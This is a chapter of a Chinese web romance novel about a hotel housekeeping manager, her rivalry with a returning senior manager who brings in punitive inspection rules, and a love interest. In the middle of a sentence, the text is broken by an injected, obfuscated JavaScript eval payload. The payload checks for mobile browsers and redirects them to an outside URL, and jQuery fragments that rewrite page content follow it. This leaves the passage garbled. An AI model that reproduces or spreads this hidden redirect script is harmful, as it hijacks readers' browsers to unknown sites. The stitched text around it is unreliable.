5012的辗转反侧一直持续到了凌晨。
第二天梁闻裴退房的时候,黑眼圈格外的明显。
碰见裴雯梁在情理之中,她打着哈欠来酒店的餐厅吃早饭。
看见一道眼熟的身影在自助餐前徘徊不定犹豫不决的时候,裴雯梁还以为自己见鬼了。
裴雯梁:“哥?你怎么在这里?”
梁闻裴有点心虚地回避着视线,含糊答了句:“工作。”
裴雯梁眯起眼睛,信他才有鬼:“真的不是来找……”
“咳,工作。”梁闻裴嘴硬,随便弄了些早饭,找了个位置坐下。
“切。”裴雯梁嗤声,把手里两盆早饭放下后,在梁闻裴对面坐下来,“我真受不了你,以前姐姐在英国念书,我一点儿都不想去欧洲玩,你非要带我去。现在她在这上班,你又找过来,啧啧啧。”
一直以来都是梁闻裴如父如母一样照顾裴雯梁,她不喜欢梁国栋,但是也不怕他,可面对梁闻裴,许是小时候被管得太严苛,她莫名就有点怕他。
最怕爸妈来一句“我已经告诉你哥了”,这句话简直就是学生时代能与“这道数学题裴雯梁你到黑板上来写一下”并肩的恐惧榜top2。
现在好不容易抓到他的软肋,她恨不得狠狠嘲笑他三百遍。
“既然弄了这么多早饭,你歇歇嘴巴,快点吃吧。”梁闻裴在这件事上说不过她,只能另辟蹊径。
“还有一份是我帮唐妍点的,她堵车堵路上了,一会儿就到。”裴雯梁解释,顺势对自己哥哥这种逃避的转移话题的行为又进行了一番嘲笑,“终于也能轮到我嘲笑你了。”
“看来你已经忘记了自己初会都没考,报名两次,两次连考场都没进去而是和唐妍待在商场逛街了。”梁闻裴抿了口咖啡,抬起眼眸满是威胁意味地睨了她一眼,装模作样地就要拿起旁边的手机像是要给爸妈发消息。
“我帮你追人。”裴雯梁伸长胳膊,按住了梁闻裴的手,“俗话说得好,近水楼台先得月,姐姐一手资料我第一时间告诉你,当然前提是黄翎姐姐不喜欢我们老板,如果他们两情相悦那我就不帮你了。”
梁闻裴气笑了:“你倒是挺有原则。”
裴雯梁谄媚:“我从小是谁带大的?是我的好哥哥,我的一切美好品质都是向我的好哥哥学习的,都是我的好哥哥给我塑造的。”
“行了。”梁闻裴把手远离了手机,“都21世纪了,奴隶制度没活路,吃你的早饭吧。”
裴雯梁在心里腹诽,但表面还是谄媚模样,像极了电视剧里的奸臣:“最近妈妈忙着新店开业,我这种小屁民的小屁事就不要告诉她让她烦心了。”
原本梁闻裴还准备慢慢吃早饭,想着或许还能遇见黄翎。
但律所来了一通电话,他只能立刻离开。
同梁闻裴的那点小插曲在工作之后,并没有影响到黄翎的睡眠质量。
黄翎早上在值班客房醒来的时候才六点半,上厕所的时候发现延后两天的月经来了,没弄脏床单也没弄脏内裤,她这次一点不烦躁。
塞完卫生棉条,她洗漱完回到办公室,小李帮她带了早饭,吃过早饭后,黄翎吃了粒止疼药就开始有条不紊地工作。
只是她有意避开五楼,但还是因为工作不得不路过5012时,看见客房门开着,布草车挡在门口,她明白他已经退房离开,可自己也说不来究竟是什么感觉。
再听见他的名字,是宋明月预备退房的时候。
七月已经步入下旬,蝉鸣声聒噪,入了夜后总有人投诉开窗睡觉虫鸣声太响,不开窗又太闷。黄翎找人入夜前,用杀虫喷雾把窗外墙角、窗台外沿、绿化带边缘以及花盆附近都通通喷上杀虫剂。
对方这才停止了一入夜就投诉的行为。
宋明月离婚案的一审宣判了,法官认为两个人的感情还没有破裂,不予离婚。
她叫黄翎去客房的时候,客房里有点乱,好几个行李箱打开摊在地上,丝绸睡衣衬得她整个人温婉了几分。
她面对凌乱的房间有些不好意思:“我以前还挺会打扫的,后来嫁给了老唐之后,家里有佣人,我就不太擅长做这些了。来,坐吧。”
宋明月在茶几边招手,茶几上摆着水果蛋糕和茶。
见黄翎在原地踌躇没有上前,宋明月继续说:“我已经打电话问过了,你的领导说可以让你陪我吃一些。”
黄翎没想到她都打过电话了,这才走到沙发边坐下来。
宋明月切了一块蛋糕递给黄翎:“陪我一起吃一点吧,明天开始我就要为了工作减肥了。”
说这句话的时候她完全没有因为要减肥的苦恼,眼睛里充满了神采,看起来向往之至。
黄翎在脑袋里回忆着宋明月的客户资料,似乎没有她工作的相关信息。
好在宋明月自己说了:“看得出来我是一个舞台剧演员吗?”
“您的气质很独特,我没有往舞台艺术演绎方面想,但您一说就觉得一点都不突兀。”黄翎自认为自己说得滴水不漏。
“和我相处随意一些就好。”宋明月听见这话哭笑不得,“以后我如果给你票,你会来看吗?”
“如果您不嫌弃我看不懂艺术的话,我非常荣幸能够去到现场。”黄翎的话术已经完美,甚至还贴心地帮宋明月预约了礼宾部帮她明天搬行李。
宋明月走时,黄翎正带着人收拾四五楼全部的房间供两个小时后来的旅游团入住。
等忙完,她感觉自己的腰都直不起来了。
骆霜这周上中班,黄翎给她交代完事情后,才下班。
黄翎一觉睡到第二天快接近中午的时候。
醒来后她总是习惯性地先看手机,睡觉这段时间只有一条未读消息。
但黄翎还没开心两秒,眯着眼睛看清短信的内容后她彻底清醒了。
「赵炳回来了。」
黄翎猛地坐起身,反反复复把这条消息看了三遍,她又掐了一把自己的胳膊,确定自己没有在做梦后,她颓然地倒回床上。
虽然一早就知道赵炳会被调回来,但事情发生后她还是有些想要逃避。
可躲也躲不掉。
隔天黄翎已到酒店就和孙琪遇上了,她眼底闪过一丝幸灾乐祸,黄翎无视她回到房务部。
回经理的单独办公室需要穿过外面的公共办公室,黄翎远远地就看见自己的东西都被从里面的办公室拿出来,放在了外面的办公桌上。
值夜班的陆铭和秦蓉偷瞄着她,虽然还没过完实习期,但这两人敏锐地感觉到这个部门里领导之间的明争暗斗。
还是小李先开口和她打招呼,这两人才跟上。
“黄副经理。”
“黄副经理,早。”
黄翎朝着和自己打招呼的三人点了点头,小李提醒她:“赵经理在办公室。”
黄翎将自己包放在桌上,转身走进自己待了快三个月的办公室。
敲了敲门后,等待里面给了回应,黄翎才开门进去。
赵炳站在窗前正在抽烟,不过五十岁的年纪,啤酒肚比妇产科临盆孕妈妈的肚子还大,屋内开着空调,因为肥胖他依旧满头大汗,回头看见敲门进来的人是黄翎,他的视线自下而上将来人打量了几遍。
他们没碰过面,黄翎来时,赵炳前脚就被陆昀礼找借口调去了区里别的酒店,理由是学习,为的就是让黄翎尽快站住脚跟。
但赵炳还是一眼就认出了黄翎,脸上立刻挤出笑容:“是黄经理吧?”
咧嘴一笑,满口都是因为抽烟变黄的牙齿。
“您才是经理,叫我黄翎就好。”黄翎客套。
官大一级压死人。
赵炳吸了一口烟,连连摇头:“别这么说,我一回来就感觉到我不在的这段时间你把酒店管理的井井有条,之前我在分店就听说了,小陆总对你是格外信用,十分器重。你这么年轻这么漂亮,以后前途肯定比我这个五十岁的老头子好。”
“也是因为你之前在酒店里将基础打的好,酒店才能在您不在的这段时间里正常运作。我来时陆总就交代过要我好好跟您学习。”黄翎睁眼说瞎话,说这话的时候她觉得自己的演技简直已经到了出神入化的地步。
马屁拍到位了,黄翎才出去。
赵炳直到门关上才敛起脸上的笑容,轻哼一声:“就用这么一个小丫头片子打发我,陆昀礼啊陆昀礼,那我就给你好好上一课。”
以往都是黄翎主持班前例会,现在赵炳回来了,她也不好越俎代庖,到点只带着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533060|202897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耳朵来开会。
分完房表后,客房服务员散了,黄翎去巡查楼层。
等上午忙完,赵炳抽查了好几个房间后,在中午下班前又把人召集到了一起。
赵炳不再是早上在办公室里见面那副和蔼的样子,神情有些严肃。
“我抽查了好几个房间都不是很合格,我不知道在我不在的这段时间你们是怎么松懈的,但是我现在回来,全部都要按照我的标准来,下午我会发一个酒店客房检查扣分标准,以后客房检查就按照它来,打扫到九十五分以上这个客房才算合格,以后由我和黄副经理监督。每个人一天超过两间房间没达到95分,从第三间开始一人一次扣二十,返工几次扣几次二十,超过五间直接取消当天所有房提。”
下午刚过两点,扣分标准就出来了。
黄翎一打开,看见那细如牛毛的一条条标注。
小李坐在黄翎对面,越看下巴就越往下掉:“连清洁剂味道过重都要扣分?”
黄翎听着他们怨声载道,不作声,只是把这份扣分标准打印出来,夹在了自己的笔记本里。
下班到家,骆霜刚起,她才看见这套扣分标准。
“赵炳脑子有病吧?旺季一天要是有旅行团退房几十间,按照这个标准还能执行下去吗?连窗帘轨道有灰尘都扣分,神经病吧。还扣钱,那不倒贴上班啊。”骆霜虽然是客房管家,但有时候也要去支援服务员。
她说话声音太大把啃磨牙棒的大顺吓了一跳,然后急得汪汪叫。
骆霜一把抱住它,整个人埋在大顺肚子上蹭了蹭,好似她烦闷的情绪才缓过来了一些。
黄翎倒了杯水给她,和骆霜一块儿坐在沙发上。
骆霜卖惨地看向她:“你能给我放放水吗?”
黄翎深坐在沙发里,将大顺从骆霜怀里抱走,她现在也是一根筋两头堵,抱着大顺,也想生活顺一点:“赵炳这么干就是为了抓我的小辫子,这套标准完全不合理,他八成是想看我会不会按照他给的标准执行。我要是不按照他说的执行,我那就是执行力不行,阳奉阴违。”
“那你怎么办?”骆霜担心。
黄翎思忖片刻:“这段时间要辛苦你们了。”
这话不假。
第二天,黄翎就戴着白手套出现在了客房门口,在扣分表上记录:“这个猫眼你没擦?有灰扣一分……窗轨有细小沙尘扣一分……电视机显示的时间慢了两分钟你没发现吗?扣一分……被子中缝歪了一点五公分,扣两分……这个灯罩里有一只蚊子尸体,扣两分……这间房重新返工。”
一上午,房间返工率达到了极为惊人的百分之七十,好在今天空房不着急入住。
大家都被返工扣钱弄得怨声载道,临近饭点还没忙完大家的怨气一下子更重了,黄翎一改方才扣分时候的铁面无私,放缓了语气让他们快一点返工就能早点吃饭,也不知道是谁骂了句装模作样,黄翎也不生气。
等大家各自忙去,黄翎在楼层里徘徊,偶尔打打下手。
口袋里电话响起时,黄翎刚帮客房服务员从布草间拿了干净的布草过来。
在本子上登记好数量,黄翎走到无人的消防通道里接通了电话。
电话接通的瞬间,黄翎隔着手机都听见了那头海风徐徐和海鸥低飞的鸣叫声。
“有事说事。”黄翎本来就忙得头脚倒悬,罪魁祸首却在度假,语气没法控制地冲了一些。
电话头,陆昀礼一愣,随即仿佛很受伤一般,才睡醒的人,声音听着慵慵懒懒:“赵炳回去才几天啊,你的火气就这么大了?”
“他是回来没几天,但事情给我弄出一大堆了。还有你,我是给你当枪使,你倒好在外面度假。”黄翎嗤声,“你是害虫。”
陆昀礼的笑声低低的从手机那头传来,加上电流声,更显得好听:“我这不叫度假,我这叫来潜伏卧底,学学别人家酒店的长处。”
“那请你派我去卧底,你回来。”黄翎就算是三岁小孩都不信他这话。
陆昀礼听着黄翎的语气,见把她惹急眼了,这才哄她:“我忙完这边的事情就回去,你这几天稳着点。我给你买了好多礼物。”
黄翎商量:“可以折现吗?”
陆昀礼笑:“不能。”